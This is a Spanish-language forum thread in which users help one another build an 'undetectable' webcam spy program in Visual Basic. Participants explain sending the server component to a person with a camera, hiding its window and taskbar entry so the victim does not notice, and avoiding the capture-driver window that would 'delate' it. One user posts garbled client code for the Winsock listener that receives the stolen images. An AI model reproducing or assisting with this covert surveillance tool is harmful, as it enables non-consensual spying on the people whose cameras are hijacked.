Crea tu Espia-Webcams Indetectable

[invert]

oye esta muy buena o.O

muchisimas gracias por el aporte... si todavia pudieran poner karma te subiria xD

[N.B.K]

oye esta muy buena o.O

muchisimas gracias por el aporte... si todavia pudieran poner karma te subiria xD

Jeje gracias

Si me di cuenta de los Espacios =D voy a hacerlo denuevo por si me salte alguno, olle se puede usar "NO-IP" o se pone la privada ? xD

EDIT: Bueno vi lo de los espacios, pero = podiras subir de nuevo el Codigo sin espacios =D en Todo caso ahora si me funciono, creo yo que era en el codigo del modulo, pero no entiendo bien el funcionamiento osea, se lo mando a alguien con camara y donde lo veo ? xD

Primero abris el cliente, y luego le envias el server a quien tenga la camarita y cuando lo abre directamente comienza a enviar capturas al cliente...
Podes hacerle modificaciones para tener en una lista todos los que abrieron el server y si queres comenzar la captura de alguna, cosas asi, asi depaso te ayuda a aprender

[ubic]

Que bien voy a intentar pero tengo que leer primero xD, olle tengo una duda abri el server en Mi PC con camara no se si es recomendado hacer eso xD pero puede ver mi camara, pero en el SERVER no en el cliente eso es haci, tengo que darle para que no se vea esa ventana ? y como se hace xD

EDIT: Ademas no me dijiste que IP tenia que poner en el server osea si podia poner No-ip

[N.B.K]

Para que la ventana del server no se vea en el visual basic en la parte del formulario del server vas a la propiedad Visible, y le pones False. Tambien podes poner Show in Taskbar (o algo asi) False asi no se ve en el administrador de tareas.

Lo de si anda con no-ip o no no lo se porque nunca probe con no ip. Igual podes probar no cuesta nada

saludos!

[700esoj]

tengo una duda, el programa corre pero solo se mira en el server la camara.... En el cliente no se mira, creo q debe de se mi Ip.  Estoy utilizando dos computadoras conectadas via router, como puedo hacer para q se mire en la del cliente?   trato de hacerlo con el ipconfig  y me da un ip, y pongo la ip pero nada, y trato en otras paginas q me dicen otro ip q me imagino q es la del router y tampoco me sale con nignuna de las 2    

podrias ayudarme con eso?

gracias
------------------------------------

EDITADO

Ya vi el problema,  No era mi ip sino q hay algo mal en tu codigo. Me di cuenta q si me llegaba datos a C:\temporal2.bmp  pero se sigue acumulando y si tratas de abrir la imagen no sale nada, no se mira nada. Debe de haber algo mal en tu codigo bro por q sino se mira una imagen y en ves de llegar y eliminar y volver a crear otra solo se acumulan los bytes pero no sirve de nada

podrias decirnos cual es el problema?

[Yahoo help]

Yo he tenido mala suerte programando, no se si es ke no le doy interes o es que soy muy "animal" para comprender jaja de todo lo que me entra y comprendo... esto es lo que mas he fallado.. no se que es... quizas algun dia aprenda y haga lo que anhelo.. hacer mis propios programas y todo lo que este a mi alcance para compartirlos.. softgratis..

[ubic]

Creo que no me funka =( osea lo probe con una persona (un amigo) y no puede ver su camara ni un segundo =/ que puede estar mal ?

[Dark_D]

llaveria gracias por tu aportte y perdona la ignorancia (es que soy nuevo en esto ) este codigo sirve tambien para vb 2005 profesional.

[troyanqui]

Muy buenas, llevo unos dias intentando hacerlo y veo la imagen en la ventana del "servidor", pero no en la de cliente. Qué ocurre?

Muchisimas gracias un saludo!

[troyanqui]

Además me acabo de dar cuenta de que estos archivos solo los abre mi PC. Pongo el server en un PC y no lo deja abrir diciendo que MSWINSCK.OCX no está correctamente registrado. Muchas gracias

[x3non]

yo me lo e autoejecutado y no me sale nada en la pantalla

[aldoup]

Una duda cuando dices

"Agregemos un picturebox y un winsock"

Pongan este codigo

Dim Ruta As String

Private Sub Form_Load()
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.Local Port = 1000
Winsock1.Liste n
End Sub

Private Sub Winsock1_Conne ctionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accep t requestID
End Sub
Private Sub Winsock1_DataA rrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock1.GetDa ta Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
End Sub

No entiendo despues eso de configurar el cliente :S

[vulcano03121975]

Sin menospreciar la labor de aldoup, la api capCreateCaptu reWindow es correctamente aquella q crea la captura de la ventana de la cam, el dilema es si su posible victima en si selecciono el origen de video en vidcap32, sino es asi el programita los delatara pues en la pc remota se abrira la aplicacion vidcap32, a no ser q lo haga manualmente entonces todo bien, sino espero sean amables en decirme como lo hicieron para seleccionar el origen del video sin q aparezca la ventanita del programita el famoso "vidcap32" (q por cierto es MS).
Saludos...